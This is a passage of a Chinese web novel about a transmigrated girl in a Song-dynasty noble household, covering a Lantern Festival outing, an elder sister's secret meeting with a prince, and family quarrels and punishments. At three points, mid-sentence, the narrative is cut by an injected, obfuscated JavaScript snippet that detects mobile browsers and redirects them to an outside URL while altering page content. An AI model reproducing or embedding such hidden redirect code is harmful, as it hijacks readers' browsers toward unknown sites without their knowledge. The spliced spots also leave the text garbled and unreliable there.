曹晚书撇撇嘴道：“他指不定还在睡大觉呢。” 两位姐姐都笑着啐她：“也就你这般贪睡，表哥是读书人，哪能像你一样懒怠。” 姐妹三个说说笑笑，一路嬉闹着，便到了安亭蕴居住的院落。 她们蹑手蹑脚地探着头走进院子，窗下摆着一张梨花木桌，安亭蕴端坐在桌前翻着书卷，眉目清朗，神情专注，丝毫没察觉到外头来了人。 也不知是读得太入神，还是口渴了，他的眼睛始终盯着书页，手下意识地伸到桌边，一把抓起盛着墨汁的小砚台，就要往嘴边送。 曹晚书看得心头一跳，连忙出声喊住他：“二表哥，你仔细瞧瞧手里头拿的是什么！” 安亭蕴冷不防听见身后有人说话，惊得手一抖，低头看清手中的东西，顿时俊脸微红，放下砚台，有些不好意思地笑了笑。 “若不是五妹妹出口相救，我这一口白牙，今日怕是要被染成黑的了。” 话落，曹玉书笑得弯了腰，指着他打趣道：“早知道就不该让五妹妹开口，我倒真想看看，二表哥的牙染成黑色，到底是何等滑稽模样，哈哈哈。” “四姐姐，你可真坏！”曹晚书也跟着笑，伸出手指点了点曹玉书。 安亭蕴站在一旁，含笑看着她们姐妹打闹，待众人笑闹声渐歇，才问道：“不知三位妹妹屈尊来我这儿，是有什么事吗？” “哦，我们今日来是想…”曹金书话未说完，便被曹玉书抢了先。 曹玉书挤了挤眼睛，促狭道：“我们今日来，是想问问二表哥，今儿是什么日子。” 姐妹几个心领神会，都晓得四姐姐这是又拿安亭蕴打趣呢。 曹金书也跟着凑趣，扬声道：“我猜二表哥定然不知道今日是什么日子，我赌一两银子，你们敢不敢跟我赌？” 曹玉书立刻附和，一脸笃定：“我也赌二表哥不知道。” 二人说罢，齐齐将目光投向曹晚书，等着听她的说法。 曹晚书被她们看得有些不好意思：“我…我猜表哥是知道的。” 随后，姐妹三个的目光都落在安亭蕴身上，直看得他耳尖泛红，略显局促。 他缓缓开口：“今儿外头鞭炮声阵阵，算来应是上元佳节吧。” “哇！”曹晚书一脸狂喜，当即伸出手，朝垮着一张脸的两位姐姐讨要银子，“愿赌服输，愿赌服输！” “知道了知道了，先欠着，等晚上让我身边的丫头给你送去。”曹玉书嘴上说得爽快，心里却揪着疼。 从安亭蕴的院子出来后，姐妹三个便结伴去了府中的后花园，寻了个僻静处扎花灯。各色绢纱、细竹篾、面糊摆了一地，好不热闹。 金书手巧，扎了个莲花灯，栩栩如生，玉书则扎了个兔子灯，活泼可爱。轮到晚书，她那双手平日里抹牌掷骰子倒利索，做起这精细活计却笨拙得很，扎出来的灯笼歪歪扭扭，灯骨都露着，糊的纱也皱巴巴。等到做好了，天也就黑了。 两位姐姐看了她的杰作，都笑她，说她的灯笼别具一格，挑着出去，整个汴京城，都找不出来第二个。 偌大的鲁国公府早已是张灯结彩，处处点起明晃晃的巨烛，将暮色四合的天光都映得一片通明，富贵气象逼人。 逢此佳节，府中自是珍馐罗列，杯盘交错。一大家子陪着老太太、老爷夫人们用了团圆饭，席间笑语喧阗。 待到酒过三巡，菜过五味，曹老太太才慈眉善目地发话：“孩子们都坐不住了吧？去吧去吧，由着你们兄弟姊妹们出去逛逛灯市，也松泛松泛，只一条，早些回来。” 今儿也不知是怎么回事，宋夫人说曹舆感染了风寒，身子不适，就不跟着一道出去了。这话听着，倒让人有些辨不清真假。 毕竟早上的时候，曹晚书还瞧见曹舆如龙似虎般在园子里耍枪弄剑，身手矫健得很，哪里像是有病的样子。 许是宋夫人怕他又出去惹祸，这才找了个由头，不让他出门吧。 谁知宋夫人刚说完，曹舆便站起身，一脸不悦地嚷嚷道：“我何时有病了？好端端的，怎么就不能出去了！” 宋夫人脸上一阵尴尬，藏在桌子底下的手狠狠掐了一把曹舆的胳膊，又拼命给他使眼色，让他少说话。 曹舆疼得龇牙咧嘴，索性转过身，当着众人的面质问宋夫人：“母亲，你掐我做甚么？” 既然他这般不怕丢人，宋夫人也索性把话摊开了说，没好气地瞪着他道：“你自己说说，哪回出去不惹祸？我怎么就生了你这么个冤家！” 大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202116|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房的王夫人见状，连忙打圆场道：“三哥儿想去就去吧，我让我家轸儿和轴儿跟着他，多看着些，弟妹尽管放心就是。” 宋夫人却不领情，没好气地白了她一眼，一肚子火气没处发，低声嘟囔道：“你家曹轸曹轴，也不是什么安分的东西，免得到时候再带坏了我儿。” 王夫人一听这话，当即不乐意了，站起身来就要与她理论：“弟妹，你这话是什么意思？我好心好意帮你，你怎么反倒扯我家两个孩子！” 宋夫人趾高气昂地扬着下巴：“我说你家曹轸曹轴不是好东西，怎么，我说错了吗？” “你凭什么这么说我儿子！难道你儿子就是好东西了？你儿子才是个不成器的东西！”王夫人气得眼圈发红，拿起手帕捂着脸，在饭桌上哭嚎起来，“你们都欺负我是寡妇，欺负我家官人不是老太太亲生的，是从外头抱来的！你们都不把我放在眼里，我活着还有什么意思啊，呜呜呜…” 宋夫人被她这副模样气得险些背过气去，伸手指着她，半天说不出一句完整的话：“你方才还对我咋咋呼呼，这会儿倒又哭起来了，除了会卖可怜，你还会干什么！” “行了！有完没完！”曹老太太猛地将手里的拐杖往地上重重一磕，震得满桌人都安静下来。 席面上霎时鸦雀无声，曹老太太沉下脸，继续说道：“让哥儿姐儿们都出去逛逛吧，多派几个力气大的小厮跟着，寸步不离地护着姑娘们的安全。至于轸哥儿、轴哥儿、舆哥儿你们几个，素来爱闯祸，今日都给我收敛些。若敢在外头惹事，休怪我罚你们禁足抄书！” 这时，老太太身边的刘妈妈走了过来，手中拿着一个托盘，托盘上放着一个东西，用红布盖了起来，看不到里面是什么。 刘妈妈躬身道：“老太太，襄阳王送来贺礼，说是什么鬼工球，我也不知道是什么东西。” 曹老太太掀开上面的红布，众人忙伸长了脖子去瞧。那物事拳头大小，通体莹白如雪，是用一整块上好的象牙镂空雕成。妙处在于，这球里套着球，一层裹着一层，足有三层之多。每一层都薄如蛋壳，均匀剔透，面上还刻满了精细繁复的花鸟瑞兽，还层层皆能转动自如，简直鬼斧神工。 王夫人看得眼都直了，啧啧称奇：“我的老天爷，这怎么弄出来的？神仙手段也不过如此吧？” 老太太面上也露了笑意，侧头对刘妈妈吩咐：“去，把我屋里那套大玉川先生茶具寻出来，仔细包了，给襄阳王送去。人情往来，讲究个有来有往，咱们家，不能白占人便宜。” 戌时，曹家一众小主子们涌上了街。但见长街两侧，火树银花，亮如白昼。各色花灯争奇斗艳，猜灯谜的摊子前更是人头攒动，笑语喧哗。 安亭蕴素喜这等雅趣，便在一处灯谜摊前驻足。 他随手拈起一张红纸签，见上面写着一句谜面：“远看像头牛，近看没有头。”正沉吟间，感觉袖口被人轻轻扯了扯。 低头一看，是曹晚书踮着脚尖，一双杏眼亮晶晶地瞅着他手里的谜签。 “妹妹可猜得出这是何字？”安亭蕴温言问道。 5. 金书幽会襄阳王 逛花灯无意撞私会 曹晚书摇摇头，装作不懂道：“二哥哥既问，想必是胸有成竹了？”她心里却想，这谜底在后世简单得很，不过看他考校的样子倒有趣。 安亭蕴见她摇头，唇角微扬，对设摊的老者道：“老丈，此乃午字。”老者笑着点头，取下一盏精巧的莲花灯递给他。 安亭蕴接了灯，他看了看灯，又看了看身边只及他胸口高的小人儿，心头软了几分。 这花灯玩意儿，自己提着确是无趣，便自然而然地将灯柄塞到曹晚书小手里：“喏，给你顽去。” 曹晚书接过灯，烛光映得她小脸绯红：“多谢表哥。”她回头四顾，发现其他兄弟姐妹早已不知钻到哪处热闹里去了，只剩下她和安亭蕴二人。 安亭蕴见她孤身一人，眉头微蹙。这上元夜虽热闹，却也鱼龙混杂，“五妹妹，人太多，莫走散了，我陪着你走走可好？” 曹晚书正求之不得，忙点头：“好呀，有哥哥在，我就不怕了。”两人便随着人流缓缓前行。 街上妇人众多，曹晚书很快发现新奇处。许多女子发髻间，都簪着一种会发光的精巧小灯笼。那灯笼不过栗子大小，或以珍珠点缀，或以翡翠镶嵌，煞是好看。 再往前几步，果然见一小摊，专售这等灯簪。不仅妇人，连许多男子发髻或帽冠上也顶着莲花、牡丹状的灯碗，里头燃着特制的火杨梅，哧哧冒着细小的火苗。 正看得入神，忽听一声惨叫，只见前头一个头戴牡丹灯碗的男子，许是酒意上头，脚下一个踉跄绊倒在地。 那灯碗里的火苗一下子窜起，将他鬓边一绺头发燎着了！那汉子惊得魂飞魄散，手忙脚乱地拍打头顶，又蹦又跳，狼狈不堪，惹得周围看客哄然大笑。 “噗嗤。”曹晚书也忍不住笑出声来，忙又掩住小口。 她原本也心动想买个灯簪试试，见此情景，立刻打消了念头，小声对安亭蕴嘀咕道：“这灯儿好看是好看，只是万一也烧了头发，可就成了秃毛鹌鹑了。” 安亭蕴瞧着她狡黠灵动的模样，低声道：“妹妹说的是，这顶灯之乐，还是让旁人消受罢。妹妹这头青丝若损了一星半点，才是可惜。”话说出口，才觉有些孟浪，忙借着看灯掩饰过去。 晚书脸上也飞起红霞，装作没听见，只指着前方：“呀，那边灯好大。” 宣德门外，潘楼街。 此处人山人海，最引人注目的是一座巨大的棘盆灯，由千百盏小花灯层层叠叠组合而成，形如宝塔，光华璀璨，照得半边天都亮了。 曹晚书仰头望去，宣德门楼之上，影影绰绰可见皇帝与妃嫔的身影，正在凭栏观灯。楼下特设的看台上，文武百官亦是济济一堂。 “真好看啊。”曹晚书由衷赞叹，这汴京上元夜的盛景，远超她前世任何一场灯会。 天空中还飘着无数盏孔明灯，如同星河倒悬，将整个夜晚渲染得如梦似幻。 “我在济州时，总道家乡灯会已是极盛，”安亭蕴也仰望着这片辉煌，感慨道，“如今方知何为东京梦华，官家与民同乐，此等气象，天下无双。” 三更十分，天子回銮。 宣德门上的灯火次第熄灭，巨大的棘盆灯也暗淡下来。 然而汴京的狂欢并未结束，人流如潮水般涌向相国寺、马行街、大佛寺、保真宫等依旧灯火通明之地。 曹晚书与安亭蕴随着人流往大相国寺方向走。 行至一处稍僻静的巷口，忽闻里面传来刻意压低的说话声，一男一女，那女子的声音听着格外耳熟。 曹晚书脚步一顿，亭蕴见她神色有异，也停下脚步，低问：“怎么了？” 曹晚书竖起手指“嘘”了一声，提着灯笼，悄悄往巷口阴影处照去。昏黄的灯光下，赫然映出两张脸，是她的大姐姐曹金书。 而她对面，站着一个身着锦袍，气度不凡的年轻男子，两人挨得极近，姿态亲昵，几乎是抱在一起。 不单是曹晚书和安亭蕴僵在原地，大姐姐猛见灯光，也吓得魂飞天外。 是襄阳王！眼前这人，就是原著剧情里，那个几年后起兵谋逆，最终兵败身死，并牵连无数官员家族满门抄斩的襄阳王赵珏。 大姐若真嫁给他，曹家上下，一个都跑不了，死路一条！ 金书回过神来，手忙脚乱地整理着微乱的衣襟，强挤出一个笑容，对着曹晚书连连招手：“五妹妹，快过来。好妹妹，听姐姐说。” 曹晚书非但没上前，反而后退了半步：“大姐姐，你怎么在这里，这位是谁呀？” 她心想：绝不能被大姐哄骗住，此事必须拉上安亭蕴这个外人作证，才有转圜余地。 金书这才看清五妹身后还站着安亭蕴。这一下，如同五雷轰顶。她原以为只有年幼懵懂的五妹妹，哄一哄，吓一吓，许些好处便能封口。 可安亭蕴岂是那么好糊弄的。 她语无伦次：“不，不是的。二表哥，五妹妹，你们千万别误会，不是你们想的那样。”她指着襄阳王，辩解说，“是父亲母亲，他们有意将我许配给襄阳王的，我们只是碰巧在此遇到，真的！” 曹晚书面上装作恍然大悟，又带着点小女儿的天真，拍手道：“原来是这样啊。” 安亭蕴上前拱手一礼：“原来是襄阳王当面。既是长辈有意，在此巧遇，也是缘分。现在更深露重，此处僻静，恐非久留之地。大姑娘与五姑娘皆是闺阁女子，在下需护送她们回府了。 金书此刻只想立刻逃离这让她羞愤欲死的境地，忙不迭道：“是是是，表哥说得极是。五妹妹，我们快走。”她上前一把拉住曹晚书的手，力道大得惊人，再不敢看襄阳王一眼。 安亭蕴落后一步，对襄阳王再次拱手：“学生告退。”这才转身，不紧不慢地跟上曹家姐妹。 这姐妹俩各怀鬼胎回了府。待事略定，晚书觑个空儿，悄悄儿寻着安亭蕴说话。 安亭蕴正自心神不定，偷眼觑着晚书，见她粉面含忧，便宽慰道：“五妹妹，你且宽心。今日之事，烂在我肚里，断不肯嚼舌根子，坏了你姊妹名声。” 晚书知他是为着曹家女儿名声，要替金书遮瞒。但她路上早已思量停当，把心一横，道：“二表哥，你这话差了。此事非但不能瞒着，你须得赶紧将这事原原本本，说与我爹爹知道，不得有丝毫隐瞒。” 安亭蕴难以置信：“告知舅舅，于曹家姑娘名声有损，于你又有何益？” 晚书道：“曹家若因攀附逆王而倾覆，名声又算得了什么。” 他听后，忍不住皱眉问：“你为何如此笃定襄阳王将来必会谋逆？这等诛心之言，不可轻下。” 曹晚书脑子里飞快转着，她不能暴露自己是穿书者，但可以借势，于是说道：“前些日子我随母亲去大相国寺进香，一时贪玩走岔了路，无意间撞见襄阳王与人密谈。我躲在假山后，听得什么西南兵备的事，还提到襄阳王大业。这事我没敢告诉任何人，怕惹祸上身。如今看到大姐与他，我怎能不怕？” 安亭脸色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202117|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凝重，万万没想到，这个表妹小小年纪，能从蛛丝马迹中推断出如此可怕的结论，并当机立断要阻止家族卷入。 他想了想，沉声道：“我明白了。你放心，此事我去与舅舅说。” 安亭蕴果然寻着曹望，把巷中撞见金书与襄阳王如何挨挨擦擦，搂搂抱抱的光景悄悄儿禀了。 曹望不听则已，一听之下，登时气得要死，怒吼一声：“来人！把大姐儿与我捆了来！” 安亭蕴见他怒发冲冠，怕他一时性起闹将出去，反坏了事，慌忙上前拦住道：“舅舅息怒，此事张扬不得。若叫那些奴才知晓，背地里唾沫星子就能淹死人。依甥儿愚见，不如悄没声地将大妹妹唤来，关起门来发落。她与那襄阳王的事，更须快刀斩乱麻，早定行止才是正理。” 曹望胸口起伏，切齿骂道：“真是辱没祖宗，败我家门，气杀我也。”直喘了半日粗气，方才略定。 待下人们战战兢兢把金书带到，安亭蕴是个晓事的，自忖是外男，不便在旁听那父女腌臜，便悄没声地退了出去。 次日清早，小丫鬟溜到曹晚书房里报信儿：“五姑娘，可了不得了。昨夜里老爷把大姑娘叫去，好一顿发作，今儿一早，老爷就出去寻他那班好友吃酒，席上便放出风去，说咱家大姑娘早几年就许了南边什么人家，只等过门了。” 小丫鬟话音刚落，只见又一个小丫鬟慌慌张张跑进来，跑得上气不接下气，道：“五……五姑娘，不好了！夫人动了真怒，说是要把柳姨娘发卖给人牙子，这会子正带着粗使婆子，往紫蝶苑拿人捆呢。” 晚书心下一惊，忙问：“为什么要卖我小娘？” 小丫头喘道：“谁知道呢，平白无故就要发卖人，只听得夫人一路走一路骂。” 晚书一听，心道：坏了！这分明是母亲在襄阳王事上吃了瘪，一腔邪火无处撒，迁怒到柳姨娘头上了。 人未到紫蝶苑，先听得里面鸡飞狗跳。晚书抢步进去，柳姨娘已被几个婆子按倒在地，用麻绳捆得结结实实。 宋夫人举着一根手腕粗的门闩，眼看就要兜头打下。 晚书三步并作两步，一把攥住门闩，硬生生夺了下来：“母亲这是为哪般？纵有天大的事，也犯不着动这粗。” 宋夫人气得浑身乱颤，骂道：“为哪般？就为这起子养汉精！定是这狐媚子在你爹跟前嚼了蛆，吹了枕头风，才哄得你爹猪油蒙了心，生生断送了我大姐儿的大好姻缘。” 晚书扶住宋夫人，替她顺着背，低声道：“母亲息怒，眼下正是节骨眼上。大姐姐那档子事，爹爹又在外头放了风，说姐姐早许了人。风口浪尖上，母亲若再闹出个发卖姨娘的事，传扬出去，外头那些闲汉婆子岂不更要疑心？只怕嚼舌根子嚼得更凶。依女儿看，与其置气，不如想想爹爹既说姐姐许了人，日后谁还敢上咱家提亲？这才是火烧眉毛的勾当。” 宋夫人一听，更是悲从中来，捶胸顿足哭道：“你爹这老糊涂，何苦来？这不是生生坑害我大姐儿么。若我大姐儿真因此嫁不出去，都是他这老杀才作的孽！呜呜呜……” 晚书在一旁劝慰：“母亲，莫哭了，哭坏了身子不值当。” 宋夫人哭了半晌，忽地抬起头，一双泪眼狠狠剜向晚书，骂道：“还有你这没良心的，我原道你是个贴心的，谁知也是当面一套背后一套。定是你这死丫头撺掇着告到你爹跟前，打量我不知道么！” 晚书心里叫苦不迭，这真是黄泥巴掉裤、裆，不是屎也是屎了。 6. 宋夫人快口怼众人 赴喜宴宋氏受折辱 她苦心经营，好不容易才笼络住这嫡母，眼看要前功尽弃。急中生智，凑到宋夫人耳边，神神秘秘地悄声道：“母亲，真真是冤枉死女儿了，女儿岂敢害大姐姐？实是为了咱曹家满门的身家性命啊。” 晚书顿了顿，接着道：“母亲不知，前日夜里女儿做了个怪梦，一个鹤发童颜的老神仙，指着女儿鼻子说：‘若教你大姐姐嫁了襄阳王，不出三年五载，你曹家满门抄斩，鸡犬不留。’女儿吓得魂都没了。” 宋夫人将信将疑，啐了一口：“做梦顶个屁用，不都说梦是反的？你这小蹄子，莫不是跟你小娘学坏了，见不得你大姐姐攀高枝，编出这谎话来诓我？” 晚书做出惊惶万分的样子，带着哭腔道：“母亲若不信，女儿也没法！只是那梦真真儿的，女儿梦见咱家宅子被抄了，金银细软尽数充公，男丁披枷戴锁下大狱，女眷流放三千里，冻饿而死、病死在路上的不知凡几。 还有那疯了的、上吊的，女儿醒来，一身冷汗。母亲细想，襄阳王是何等人物？天潢贵胄！咱家攀上这门亲，是福是祸，真真难料。母亲且耐着性子，日子久了，便知女儿这梦是真是假了！” 宋夫人见她说的有鼻子有眼，神情不似作伪，心里也犯起了嘀咕，低头盘算了半晌，脸色阴晴不定，终究没再言语，只把手里攥着的门闩往地上一掼，带着婆子，悻悻地走了。 晚书赶紧去给地上的柳静钗解绳子。 谁知绳子刚松开，柳静钗就开始哭起来，狠狠瞪了晚书一眼，拍着腿哭骂道：“我十月怀胎，九死一生，生下的好女儿，倒似替别人养了个孩儿。你一口一个母亲，可曾把你亲娘放在眼里半分？” 晚书被她哭骂得一怔，心里又是气又是无奈，暗道：若她是个明白人，见女儿能得嫡母几分青眼，巴不得烧高香，日后也好有个依靠。偏生这柳姨娘，只一味想着自己肚皮里爬出来的骨肉叫别人娘，心里那坛子醋就翻江倒海起来。 转念一想，不过是妇人常情罢了。 晚书索性跪坐在柳静钗身边，拉起她的手，未语泪先流：“小娘口口声声说疼我，却不知是真心疼我，还是假意疼我？” 柳静钗哭得梨花带雨，抽噎道：“你……你是我肚里爬出来的肉，我岂能不疼你？” 晚书抹着泪道：“小娘疼我，就该替女儿想想，满府上下谁不知我是姨娘生的。比起以前，如今没有哪家是把嫡出庶出整日挂嘴边的，传出去叫人笑话，都是平等对待一样疼。 宋夫人是府里正经八百的主母，可我毕竟不是她亲生的，若跟她对着干，针尖对麦芒，咱娘儿俩日后能得什么好？女儿如今伏低做小，哄着她些，她见女儿不过是个丫头片子，碍不着她什么，兴许就少些刁难。日后她指缝里漏点好处，给女儿寻个过得去的人家，也未可知。小娘，咱们娘儿俩的命，捏在人家手心里啊。” 柳静钗听罢，呆了半晌，长叹一声，眼泪又滚下来：“唉，罢罢罢。只怨你命苦，托生在我这没用的肚皮里，倒拖累了你。”她抹了两把泪，挣扎着从地上爬起来，又伸手把晚书也拉了起来。娘儿俩相对无言，唯有泪千行。 近日东京府里炸开了锅，都传襄阳王看上了武安侯府上的二姐儿，两家要结亲哩。 那武安侯府里的张夫人，喜得浑身骨头没个四两重，立时大排筵宴，遍撒请帖，把半个东京城有头脸的夫人小姐都请了去。 鲁国府里的大姐儿金书得了信儿，哭得死去活来，泪珠子断了线似的，死活不肯去赴宴。 她母亲宋氏心里也似吞了苍蝇，膈应得很。 武安侯府下的帖子已到了手上，不去？脸面上不好看。去了？明摆着是看那张夫人抖威风，自家矮了一头，白受腌臜气。 左思右想，到底捏着鼻子，带了玉书、晚书两个姐儿，硬着头皮去了。 这位张夫人也不知是存心还是碰巧，将宋氏娘仨安排在最末一席坐下。 那地方，连府里有体面的管事妈妈坐的都不如，生生是把鲁国府的脸面踩在了脚底下泥里。 席间，一个姓赵的媳妇，惯会舔肥的，端着酒杯凑到张氏跟前奉承：“哎哟我的好姐姐，你可是掉进福窝里了。谁不知道襄阳王是龙子凤孙，最有望承大位的？赶明儿你家二姐儿做了圣人娘娘，可别忘了拉扯拉扯我们这些姐妹呀。” 这话搔着了张氏的痒处，登时眉开眼笑，那下巴颏扬得，恨不能戳到天上去，只差拿眼白睥睨众人了。 张氏心里得意得紧，但面上还要装出浑不在意的模样，假意拉着赵媳妇的手道：“哎呦喂，我的好妹妹，这话可不敢浑说。立储那是官家金口玉言的事儿，咱们妇道人家哪敢妄议。今儿请诸位姐妹来，不过是图个热闹，大家一处乐乐。都别干坐着，动筷子，动筷子！” 这时，又有个不知哪家的媳妇子，斜乜着眼，拿腔拿调地笑道：“说的是呢，到底是你家二姑娘有造化，不像有些人家，癞蛤蟆想吃天鹅肉，没吃着不说，反栽进臭水沟里，扑腾了一身泥，惹人笑话。”这话明里暗里，刀子似的直戳宋氏的心窝子。 席上那些贵妇们听了，都心照不宣地掩着嘴笑起来，可把宋氏给气得不轻。 此刻，她倒不觉得丢了襄阳王这乘龙快婿有多可惜了，只暗暗咬牙诅咒：但愿你武安侯府也遭一回塌天大祸，看你这张狂劲儿能到几时。 张氏眼角瞥见宋霜华脸上挂不住，心里越发受用，故意清了清嗓子，冲着末席道：“宋夫人，你怎地坐得恁般远？快往前头挪挪，姐妹们一处说话才热闹。” 宋夫人被这一声点破，再也按捺不住，眼睛恶狠狠扫过席上众人，最后钉在张氏那张得意脸上，从牙缝里挤出话来：“乌鸡插上几根凤凰毛，还真当自己是金翅大鹏，能飞上九天了不成！” 张氏也不恼，反作惊讶状，拍手道：“哎哟喂，大家伙儿听听，我好心请妹妹往前坐，怎地倒惹出这大火气来？妹妹这心气儿也太高了点吧？” 赵媳妇赶紧又凑上来，舔着脸帮腔：“嗐，姐姐莫怪，有些人呐，是眼馋肚饱，吃不着葡萄说葡萄酸，心里头那股子邪火没处撒呢。” 宋氏听了，只从鼻孔里哼气，站起身，掸了掸衣袖，冷笑道：“好心当驴肝肺。我劝你一句，得意时莫忘形，小心羊肉没吃到嘴，反惹一身羊膻臊。到时候，才真真是活现眼！”说罢，也不管席面上如何，一手拽一个女儿，头也不回地走了。 一回到府里，宋氏胸中那口浊气顶得她心口疼，坐在榻上只喘粗气。 邹妈妈在一旁递茶顺气，好话说了一箩筐，也没甚么用。 正没好气，里屋门帘一掀，曹金书哭得眼睛肿得像桃儿，泪痕未干，抽抽噎噎地问：“娘， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202118|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他真个要和武安侯府结亲了么？” “哭！哭！哭！就知道哭！”宋氏气得指着她骂道，“瞧瞧你这副模样，还有半点大家闺秀的体统没有？老太太教你的规矩礼数，都就着饭吃进狗肚子里去了？” 她喘了口气，又恨铁不成钢地道，“这才几日功夫，他就能跟旁人定亲。我的儿，可见那起子王孙公子，哪有什么真心实意？不过是图个新鲜，你快些收了那痴心妄想才是正经。” “可……可是他亲口对我说过，今生非我不娶的。”金书委屈得又要落泪。 “我呸！”宋夫人啐了一口，火气又旺了几分，点着女儿的额头骂道，“臊也不臊！还嫌丢人丢得不够么？从今往后，休要在我面前提这起子没良心的东西。我朝宗室子弟多了去了，如今储位空悬，鹿死谁手还未可知。你才多大，黄花闺女一个，急什么？给我耐着性子，好生等着。” 女儿家情窦初开，那点痴念哪是说放就能放的？曹金书满腹委屈无处诉，一头扎回自己房里，又蒙着被子嚎啕了半日，直哭得嗓子哑了，眼睛涩了，方才罢休。 宋夫人也懒得去管她，由着她哭去，只道哭够了自然消停。 这边刚忙活完曹金书的事，又有小厮来报：“夫人，不好了。三哥儿在娼楼吃花酒没给银子，娼楼那边差人过来要，正巧被老爷撞见，这下要拿棍子打三哥儿呢！” 宋夫人险些被气晕过去，嘴里直念叨：“冤孽啊，我是生了一群讨债鬼，大的小的没有一个让我省心的。” 她拔腿就要过去救，却被邹妈妈给死死拦住，低声说：“夫人息怒，哥儿有错，当爹的管教也是正理。夫人若回回都这般护短，哥儿越发没了惧怕，往后更不服管了。” 小厮在门外急得跺脚，插嘴道：“妈妈不知，老爷这回是真下了死手。小的听福五说，老爷把供奉的祖宗家法都请出来了，那架势……怕是要把三哥儿打死哩！” “啊？！”宋夫人魂飞魄散，腿一软又要倒，亏得邹妈妈架着，“我的儿啊！” 她嚎了一嗓子，也顾不得许多了，推开邹妈妈，脚下生风地往后堂赶，嘴里兀自咒骂不休，“都怨大房那两个不成器的孽障，整日里勾引我的舆哥儿往那下流地方钻。她大房养的猪狗不如，也要带坏我的儿，真真气煞我也。” 待她气喘吁吁赶到后堂，里面已静了下来。进去一看，曹舆像条死狗般趴在长条板凳上，下身衣衫褴褛，皮开肉绽，血糊淋剌，已是进气多出气少。 “我的儿啊——”宋氏心胆俱裂，扑上去抱住，手抖得无处安放，眼泪鼻涕一齐涌出，“怎地下这般死手啊，我的儿…” 曹望把手里的紫檀木大棒掷在地上，一张脸黑得如同锅底，瞪着宋氏骂道：“看看！看看你养的好儿子！” 宋氏心疼儿子，此刻也豁出去了，抬起头怒视丈夫：“不就是在外头吃了两杯花酒，欠了几个缠头钱？补上不就完了。天大的事，值当你动家法，连祖宗面前的家什都搬出来了，哪个爷们儿在外头没点风流债？定是大房那两个杀才，曹轸、曹轴，撺掇着带坏了我的儿！” 曹望气得胡子直抖，指着半死的曹舆：“若只是吃酒欠钱，老子睁只眼闭只眼也就罢了。这孽障，在外头差点闹出人命官司！” “啊？”宋氏顿时哑了，一张脸煞白，“人…人命官司？” 7. 曹舆受冤遭棍打 风月债惹出人命祸 “你肚子里头掉下来的肉，没一个省心的。”曹望脸上燥得慌，恨声道，“你养的好姐儿在外头偷汉子，你那孽畜儿子更了不得，瓦子勾栏里看上了个卖唱的粉头，竟痴心妄想偷娶了养在外头做外室。那粉头已许了人家，这孽障不思罢手，反要强夺人妇，更要下死手打死那汉！” 他喘口气，接着道：“那粉头被逼得走投无路，我下值刚到家门，她便扑在阶前，哭得泪人儿一般，口口声声求我做主。我不应承，她便撒泼，扬言立时要去衙门击鼓鸣冤，定要闹得满汴京皆知，人尽唾骂。” 宋夫人一听，心肝儿“咯噔”一下，凉了半截。要是报官，那丢人可就丢到姥姥家了。 丢人事小，若真陷进了吃人的大狱，如何是好？ 这曹舆不过十五六岁年纪，书不好生念，成日在外招猫逗狗、惹是生非，怎生得了！ 宋氏皱着眉，半天说不出话来。 “我前世作了什么孽，怎得生出了这么个孽障。”宋夫人以帕掩面，呜呜咽咽哭个不停。 曹望只觉得耳边聒噪，心烦意乱的，甩袖离开。 宋夫人连忙去叫人请大夫来给曹舆医治，曹舆醒来后，身上皮开肉绽把他疼得龇牙咧嘴，嗷嗷叫唤个不停。 “挨了这顿好打，以后可知道改了？”宋夫人坐在榻边，冷着脸问。 曹舆把头一扭，梗着脖子，一声不吭。 宋夫人长叹一声：“罢！罢！你若仍是这般不知死活，日后犯下滔天大祸，是死是活，我也只当没生养过你这不肖子，眼不见为净！” 曹舆登时怒道：“母亲只知骂我，那打死人的勾当，难道是我亲手做下的？父亲不听我分辩半句，劈头盖脸便是棒子，好没道理！” “哦？难道还另有隐情不成？”宋夫人狐疑道。 “儿子承认，朱三娘确是儿子看上了，有心要娶她做个外室。她原已许了个姓张的，我想着多与他些银钱了事便是。谁成想那姓张的狮子大开口，竟索要五百两，儿子无法只好四处筹措。 可曹轸、曹轴那两个狗攮的！竟背地里商议，要把张老九诓骗到城外荒僻处，悄悄结果了性命。我何曾应允？哪知他二人胆大包天，真个背着我行事，事后反倒一口咬定是我指使。母亲，我冤啊！” “黑了心肝的下流种子们，敢这般坑害我儿！”宋夫人一听，登时暴跳如雷，心头一把无明业火焰腾腾地按捺不住，立时就要冲出去寻那两个小猢狲拼命。 曹舆怕母亲莽撞将事闹大，趴在榻上急唤：“母亲！母亲且慢！”可宋夫人正在气头上，哪里听得进去，一阵风也似的，直扑大房那边去了。 